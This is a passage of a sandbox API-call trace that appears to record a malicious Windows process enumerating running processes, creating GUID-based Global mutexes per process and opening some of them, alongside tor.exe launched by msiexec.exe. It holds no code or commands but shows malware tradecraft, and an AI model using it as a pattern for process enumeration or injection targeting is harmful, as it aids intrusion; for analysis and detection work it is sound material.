cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.173] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0120.173] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.208] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.209] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.210] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.210] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.211] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0120.212] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0120.212] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0120.212] GetLastError () returned 0xb7 [0120.212] CloseHandle (hObject=0x6cc) returned 1 [0120.212] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0120.213] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0120.214] CloseHandle (hObject=0x56c) returned 1 [0120.214] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0120.315] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0120.317] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.318] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.319] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.320] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.321] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.322] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.322] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.323] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.324] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.325] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0120.326] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.327] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.327] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.328] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.329] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.330] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.331] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.332] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.333] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.334] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.335] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.336] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0120.336] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0120.336] GetLastError () returned 0xb7 [0120.336] CloseHandle (hObject=0x6cc) returned 1 [0120.336] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.337] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0120.337] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0120.337] GetLastError () returned 0xb7 [0120.337] CloseHandle (hObject=0x6cc) returned 1 [0120.337] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.338] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.339] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0120.339] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0120.339] GetLastError () returned 0x0 [0120.339] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0120.339] CloseHandle (hObject=0x6cc) returned 1 [0120.339] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.340] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0120.340] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0120.340] GetLastError () returned 0x0 [0120.340] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0120.340] CloseHandle (hObject=0x6cc) returned 1 [0120.340] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0120.341] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0120.341] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0120.341] GetLastError () returned 0xb7 [0120.341] CloseHandle (hObject=0x6cc) returned 1 [0120.341] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0120.342] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0120.342] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0120.342] GetLastError () returned 0x0 [0120.342] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0120.342] CloseHandle (hObject=0x6cc) returned 1 [0120.342] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0120.343] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0120.343] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0120.344] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0120.345] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0120.346] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0120.347] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0120.348] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0120.349] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0120.349] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0120.350] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0120.351] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0120.352] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0120.353] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0120.354] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0120.354] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0120.355] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0120.356] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0120.357] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0120.358] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0120.359] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0120.360] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.360] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0120.361] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.362] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0120.363] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.364] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.365] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0120.366] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.367] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.367] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0120.368] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, 